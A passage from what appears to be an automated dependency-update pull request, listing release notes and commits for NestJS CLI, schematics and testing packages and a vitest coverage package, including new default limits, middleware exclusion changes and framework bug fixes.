fix(add): do not install the library on a dry run (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3632\"\u003e#3632\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/ba6166811b3987dfcf3b582aea10ca973e237675\"\u003e\u003ccode\u003eba61668\u003c/code\u003e\u003c/a\u003e fix(add): pass --dry-run to the library schematic (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3628\"\u003e#3628\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/5a0938f851f21e5cdf0b28c54a350807385951b2\"\u003e\u003ccode\u003e5a0938f\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency webpack to v5.112.0 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3631\"\u003e#3631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/f659a427dc8decb16e86963f1bceecaafddb925e\"\u003e\u003ccode\u003ef659a42\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency vitest to v5.0.5 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3629\"\u003e#3629\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/47c63728bfc09b031951aaa6c01a7d87f3666756\"\u003e\u003ccode\u003e47c6372\u003c/code\u003e\u003c/a\u003e feat(start): report when the app exits in watch mode (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3623\"\u003e#3623\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/5284a5c2f01098db4d8f2b352af3a14c4f9ee641\"\u003e\u003ccode\u003e5284a5c\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency oxlint to v1.88.0 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3626\"\u003e#3626\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nestjs/nest-cli/compare/12.0.8...12.0.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@nestjs/schematics` from 12.0.7 to 12.0.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nestjs/schematics/releases\"\u003e@​nestjs/schematics's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 12.0.9\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(observe): read the key pair from the environment before the placeholders by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/schematics/pull/2504\"\u003enestjs/schematics#2504\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nestjs/schematics/compare/12.0.8...12.0.9\"\u003ehttps://github.com/nestjs/schematics/compare/12.0.8...12.0.9\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease 12.0.8\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(application): point the readme at npx \u003ccode\u003e@​nestjs/observe\u003c/code\u003e link by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/schematics/pull/2502\"\u003enestjs/schematics#2502\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update angular-cli monorepo to v22.2.3 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nestjs/schematics/pull/2500\"\u003enestjs/schematics#2500\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nestjs/schematics/compare/12.0.7...12.0.8\"\u003ehttps://github.com/nestjs/schematics/compare/12.0.7...12.0.8\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/eea7895394bb1d6609d1e819254942b6e9031cc7\"\u003e\u003ccode\u003eeea7895\u003c/code\u003e\u003c/a\u003e chore(): release v12.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/480b27782f481b5bd1fda5c359bf7996a07dd2d6\"\u003e\u003ccode\u003e480b277\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2504\"\u003e#2504\u003c/a\u003e from nestjs/fix/observe-env-credentials\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/a7a8ae9c01a1b0afc37eec70bb45a38b0d8f6d87\"\u003e\u003ccode\u003ea7a8ae9\u003c/code\u003e\u003c/a\u003e fix(observe): keep the sign-up link in the scaffold comment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/bea6fd865f18fd88c3973f9738a5bb99eaa21f75\"\u003e\u003ccode\u003ebea6fd8\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency oxlint to v1.89.0 (\u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2503\"\u003e#2503\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/b50a8af8997f4bd6ec0cf503add90aac961bf4d2\"\u003e\u003ccode\u003eb50a8af\u003c/code\u003e\u003c/a\u003e fix(observe): read the key pair from the environment before the placeholders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/624163c770ceadda57cdcf7f96a33541f622006b\"\u003e\u003ccode\u003e624163c\u003c/code\u003e\u003c/a\u003e fix(observe): require the sdk whose link swaps the placeholders\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/eb41c92c4288ad2b21426cef284a6a41e4abe8f0\"\u003e\u003ccode\u003eeb41c92\u003c/code\u003e\u003c/a\u003e chore(): release v12.0.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/1cb2635a264bd7369862dc914b3ad3656f609925\"\u003e\u003ccode\u003e1cb2635\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2500\"\u003e#2500\u003c/a\u003e from nestjs/renovate/angular-cli-monorepo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/4572c1feb2fca34573fd6eb3753b692d530295be\"\u003e\u003ccode\u003e4572c1f\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2502\"\u003e#2502\u003c/a\u003e from nestjs/feat/observe-link\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/36bf8bcbb06902876ce66d42e2ea83e307430c44\"\u003e\u003ccode\u003e36bf8bc\u003c/code\u003e\u003c/a\u003e docs(application): say every nest start script loads the env file\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nestjs/schematics/compare/12.0.7...12.0.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@nestjs/testing` from 12.1.3 to 12.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nestjs/nest/releases\"\u003e@​nestjs/testing's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev12.2.0 (2026-10-19)\u003c/h2\u003e\n\u003ch4\u003eNotable changes\u003c/h4\u003e\n\u003cp\u003e\u003cstrong\u003eNew options\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@Sse({ maxPendingDataLength })\u003c/code\u003e sets how many characters of event data may wait for a client that is not reading its events (4M by default; \u003ccode\u003e0\u003c/code\u003e or \u003ccode\u003eInfinity\u003c/code\u003e lifts the limit) – \u003ca href=\"https://github.com/nestjs/nest/commit/2f05ad954e2ca7633d6c90b0e4268e6d9ef0e6d8\"\u003e2f05ad954e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eIoAdapter\u003c/code\u003e and \u003ccode\u003eWsAdapter\u003c/code\u003e take \u003ccode\u003emaxConcurrentMessages\u003c/code\u003e, the number of a client's messages handled at once (1000 by default; \u003ccode\u003eInfinity\u003c/code\u003e lifts it) – \u003ca href=\"https://github.com/nestjs/nest/commit/0bd0810ed7625744f34cf32698f723b8b8e6d024\"\u003e0bd0810ed7\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eValidationPipe\u003c/code\u003e takes \u003ccode\u003emaxErrorMessagesLength\u003c/code\u003e (1,000,000 characters by default); messages past it are replaced by a \u0026quot;Further validation errors were omitted\u0026quot; entry – \u003ca href=\"https://github.com/nestjs/nest/commit/086c1c514faf8e04922c63fb4cd8bca87d90ced3\"\u003e086c1c514f\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKafka: \u003ccode\u003eparser.maxMessageSize\u003c/code\u003e (16 MiB after decompression by default); larger messages are logged and skipped – \u003ca href=\"https://github.com/nestjs/nest/commit/9bdf844fca9f88d659678bb060ad8369c297ab3e\"\u003e9bdf844fca\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTCP server: \u003ccode\u003edrainTimeout\u003c/code\u003e (30 s by default, \u003ccode\u003e0\u003c/code\u003e disables) disconnects a peer that leaves its responses unread – \u003ca href=\"https://github.com/nestjs/nest/commit/583d6077ad3b58aeffb91636d6cded6f8c2f3ee1\"\u003e583d6077ad\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMQTT server: \u003ccode\u003ereconnectOnConnackError\u003c/code\u003e is now enabled by default, so a refused connection attempt is retried; set it to \u003ccode\u003efalse\u003c/code\u003e for the previous behaviour – \u003ca href=\"https://github.com/nestjs/nest/commit/a63cea600a17cfe486f8fe7fcd679325c589615c\"\u003ea63cea600a\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eHttpServer.getRouteMatchingOptions()\u003c/code\u003e, an optional adapter hook that tells core how the router matches paths (see \u0026quot;Middleware exclusions\u0026quot; below) – \u003ca href=\"https://github.com/nestjs/nest/commit/08d8677c8d576119669b12e109ee6513319a6c4e\"\u003e08d8677c8d\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eNew defaults and behaviour changes\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-express\u003c/code\u003e, \u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: \u003ccode\u003efieldNestingDepth\u003c/code\u003e and \u003ccode\u003efieldArrayIndexLimit\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nestjs/nest/pull/18074\"\u003e#18074\u003c/a\u003e) now default to 32 and 1000; set them to \u003ccode\u003eInfinity\u003c/code\u003e to lift the limits – \u003ca href=\"https://github.com/nestjs/nest/commit/94fcc937706978c9305b2486f38643cfdf37bab9\"\u003e94fcc93770\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eValidationPipe\u003c/code\u003e validates with \u003ccode\u003evalidationError.target: false\u003c/code\u003e unless the options set it, so an \u003ccode\u003eexceptionFactory\u003c/code\u003e that reads \u003ccode\u003eerror.target\u003c/code\u003e gets \u003ccode\u003eundefined\u003c/code\u003e; set \u003ccode\u003evalidationError.target\u003c/code\u003e to \u003ccode\u003etrue\u003c/code\u003e for the old errors – \u003ca href=\"https://github.com/nestjs/nest/commit/8c5a59bf63c0d68a462c085ee2976a7d5b1aba9a\"\u003e8c5a59bf63\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eValidationPipe\u003c/code\u003e answers an array or a primitive sent for a validated class with a 400 – \u003ca href=\"https://github.com/nestjs/nest/commit/197371c1f3902254bcec09e2fa46bd35b889b1be\"\u003e197371c1f3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eFileTypeValidator\u003c/code\u003e matches a string \u003ccode\u003efileType\u003c/code\u003e up to the end of a name (e.g. \u003ccode\u003efont/woff\u003c/code\u003e no longer accepts \u003ccode\u003efont/woff2\u003c/code\u003e; use a RegExp for that) – \u003ca href=\"https://github.com/nestjs/nest/commit/770c6f1a191830b1c9a19f33b0f0e08cb45f8a8e\"\u003e770c6f1a19\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@SerializeOptions({})\u003c/code\u003e on a handler no longer turns off the class schema – \u003ca href=\"https://github.com/nestjs/nest/commit/d27cb7017fd9f21dadfd078791ffe8fe5a25644c\"\u003ed27cb7017f\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eBaseExceptionFilter\u003c/code\u003e answers \u003ccode\u003ehttp-errors\u003c/code\u003e errors created with \u003ccode\u003eexpose: false\u003c/code\u003e (the default from 500) with the standard reason phrase instead of their message – \u003ca href=\"https://github.com/nestjs/nest/commit/9ed572f853bb164feb4f9a5a8ae1f4537ba57118\"\u003e9ed572f853\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA \u003ccode\u003eStreamableFile\u003c/code\u003e error still gets a 400, but the body no longer carries the error message – \u003ca href=\"https://github.com/nestjs/nest/commit/2f28d91afb743e9475de72521cb87cf8c5f3892d\"\u003e2f28d91afb\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFiles uploaded with a request that a pipe rejected are removed from storage – \u003ca href=\"https://github.com/nestjs/nest/commit/acb98de89ea4b782403329eb76837f7089ad7974\"\u003eacb98de89e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: a route with \u003ccode\u003efileSize: undefined\u003c/code\u003e (or \u003ccode\u003enull\u003c/code\u003e) falls back to the plugin's limit; set it to \u003ccode\u003eInfinity\u003c/code\u003e to keep uploads unlimited – \u003ca href=\"https://github.com/nestjs/nest/commit/dd549e1a741c5a1f5eb6b729b8d2cc664bb8f338\"\u003edd549e1a74\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-express\u003c/code\u003e: object error bodies are sent as \u003ccode\u003eapplication/json\u003c/code\u003e on routes with a non-JSON \u003ccode\u003eContent-Type\u003c/code\u003e – \u003ca href=\"https://github.com/nestjs/nest/commit/7dc6e349d525d82d73c2576cf57b8297de254a64\"\u003e7dc6e349d5\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConsoleLogger\u003c/code\u003e in JSON mode cuts a record short past about a million characters – \u003ca href=\"https://github.com/nestjs/nest/commit/ad4915eaa357698e004efd8e0fc66aec2651e132\"\u003ead4915eaa3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA global enhancer that the injector failed to instantiate now fails the application at startup – \u003ca href=\"https://github.com/nestjs/nest/commit/ae78524ced7f4ad4886ab031dd8abc78cf6a6b1e\"\u003eae78524ced\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eA request- or transient-scoped \u003ccode\u003eAPP_FILTER\u003c/code\u003e now logs a startup warning, as it only applies to exceptions thrown from controllers – \u003ca href=\"https://github.com/nestjs/nest/commit/df5275c5e18c99854efb42119496244082ebec0c\"\u003edf5275c5e1\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMicroservices: a pattern key longer than 256 characters matches no handler – \u003ca href=\"https://github.com/nestjs/nest/commit/accd27e66c090f8f78efd8653b0c968286414c0a\"\u003eaccd27e66c\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKafka: a message may carry up to 10,000 header values (\u003ca href=\"https://github.com/nestjs/nest/commit/e419ff540b261ce23dde58e80b19daefa46e89ba\"\u003ee419ff540b\u003c/a\u003e); headers given as a string or array are not sent (\u003ca href=\"https://github.com/nestjs/nest/commit/312777743fce3f553febb69624e97bf624770392\"\u003e312777743f\u003c/a\u003e); reply headers are decoded as text (\u003ca href=\"https://github.com/nestjs/nest/commit/ee94f6aaae19a8654b8455f67e9fe972ff355907\"\u003eee94f6aaae\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egRPC: request streams are paused while their replies wait to be written – \u003ca href=\"https://github.com/nestjs/nest/commit/37e5cf77062f2f373809dd9ed290e0ed8424a717\"\u003e37e5cf7706\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeprecation\u003c/strong\u003e: on TCP, Redis, NATS, MQTT and RabbitMQ, an \u003ccode\u003e@EventPattern()\u003c/code\u003e handler that replies to \u003ccode\u003eClientProxy#send()\u003c/code\u003e now logs a deprecation warning. The reply is unchanged; in the next major version event handlers will not reply to \u003ccode\u003esend()\u003c/code\u003e, as on Kafka already – \u003ca href=\"https://github.com/nestjs/nest/commit/ba3668d36b6c4e13a2b8617fcfb0a5fe624e04e6\"\u003eba3668d36b\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eMiddleware exclusions\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eMiddlewareConsumer.exclude()\u003c/code\u003e now compiles excluded routes with the router's case and trailing-slash matching (\u003ca href=\"https://github.com/nestjs/nest/commit/08d8677c8d576119669b12e109ee6513319a6c4e\"\u003e08d8677c8d\u003c/a\u003e). Update \u003ccode\u003e@nestjs/core\u003c/code\u003e together with \u003ccode\u003e@nestjs/platform-express\u003c/code\u003e / \u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: with an adapter that does not implement \u003ccode\u003egetRouteMatchingOptions()\u003c/code\u003e, excluded routes are matched exactly (\u003ca href=\"https://github.com/nestjs/nest/commit/f5aa875e407d186d8cc86cf0ad62cfcbdea490f6\"\u003ef5aa875e40\u003c/a\u003e), so on a lenient router other spellings of an excluded path run the middleware.\u003c/li\u003e\n\u003cli\u003eWith header, media type or custom versioning, \u003ccode\u003eexclude({ path, method, version })\u003c/code\u003e and \u003ccode\u003eenableCsrfProtection({ exclude })\u003c/code\u003e apply only to requests that ask for one of the excluded versions – \u003ca href=\"https://github.com/nestjs/nest/commit/1a7a31fa46756875e1dc33de0185edadb06504d9\"\u003e1a7a31fa46\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@nestjs/platform-fastify\u003c/code\u003e: the request hook used by \u003ccode\u003eenableCsrfProtection()\u003c/code\u003e and \u003ccode\u003euseSecurityHeaders()\u003c/code\u003e now runs before Nest and \u003ccode\u003eapp.use()\u003c/code\u003e middleware with \u003ccode\u003eNestFactory.create()\u003c/code\u003e too, including middleware registered before either call, as it already did with \u003ccode\u003eTest.createNestApplication()\u003c/code\u003e – \u003ca href=\"https://github.com/nestjs/nest/commit/8351806290ff90905a0190429e46e290ec0e7494\"\u003e8351806290\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eBug fixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eplatform-fastify\u003c/code\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/614d1ac7eacef022da050adba2408810a8a1b408\"\u003e614d1ac7ea\u003c/a\u003e fix(fastify): send the status of an exception whose body is an error (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/8b420f788f05eb30ee8013529f4c359125e1391c\"\u003e8b420f788f\u003c/a\u003e fix(fastify): apply middleware to plugins registered before init (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/nestjs/nest/pull/18175\"\u003e#18175\u003c/a\u003e fix(fastify): keep raw-response cookies in the header helpers (\u003ca href=\"https://github.com/johnnyhuirilef\"\u003e\u003ccode\u003e@​johnnyhuirilef\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/c215fd9b4f583486c6ce39a3c43f257dc67e8329\"\u003ec215fd9b4f\u003c/a\u003e fix(fastify): match middleware paths like a case-insensitive router (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/43d4420205229f5671644186d6ee5f725c53c597\"\u003e43d4420205\u003c/a\u003e fix(fastify): pass version extractor errors to the error handler (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/1435ed22f4ce494cf9f95f6601fc8ab1310bf42c\"\u003e1435ed22f4\u003c/a\u003e fix(fastify): pass middleware rejections to the error handler (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/84c947faf93d21fb5cc68ef9e87eda3be6e18ff5\"\u003e84c947faf9\u003c/a\u003e fix(fastify): stop reading a streamable file for a head request (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/dd549e1a741c5a1f5eb6b729b8d2cc664bb8f338\"\u003edd549e1a74\u003c/a\u003e fix(fastify): let undefined upload limits fall back to the defaults (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/4735f8d0500bbc583ab012fe205ddb87ebe7b2fa\"\u003e4735f8d050\u003c/a\u003e fix(fastify): free memory storage chunks once a file is buffered (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/3e3e6eea6f837fbe91189ac93598f4d740f38bd0\"\u003e3e3e6eea6f\u003c/a\u003e fix(fastify): remove uploads cut off after their last chunk (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/c04a9182b9ae83e22a4c5fc514d704b4b7732c3c\"\u003ec04a9182b9\u003c/a\u003e fix(fastify): set the security headers on router error responses (\u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/af37111368de7fd2dfab0bdec2f530c7845510c2\"\u003e\u003ccode\u003eaf37111\u003c/code\u003e\u003c/a\u003e chore(release): publish v12.2.0 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/462da9143489f6a6c61e160a8b2a8186ed569104\"\u003e\u003ccode\u003e462da91\u003c/code\u003e\u003c/a\u003e fix(testing): share one auto-mock between providers of the same token (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18170\"\u003e#18170\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/424185b89d5ca6994246585f8384e3b8c400dd5b\"\u003e\u003ccode\u003e424185b\u003c/code\u003e\u003c/a\u003e fix(core): fail at bootstrap on missing deps of scoped providers (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18166\"\u003e#18166\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/e66c4d0fb7826bd01144d75dfbf032a15c6e1919\"\u003e\u003ccode\u003ee66c4d0\u003c/code\u003e\u003c/a\u003e fix(testing): mock dependencies of request-scoped providers (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18164\"\u003e#18164\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/1965aa144a3643c3f0d8a1e037732f54ba1cf89a\"\u003e\u003ccode\u003e1965aa1\u003c/code\u003e\u003c/a\u003e fix(testing): resolve auto-mocked dependencies of transient providers (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18158\"\u003e#18158\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest/commit/7b92cb461deef468540fb7379c0ac8a9c90888da\"\u003e\u003ccode\u003e7b92cb4\u003c/code\u003e\u003c/a\u003e fix: expose package.json in the exports map of all packages (\u003ca href=\"https://github.com/nestjs/nest/tree/HEAD/packages/testing/issues/18122\"\u003e#18122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nestjs/nest/commits/v12.2.0/packages/testing\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 5.0.4 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca 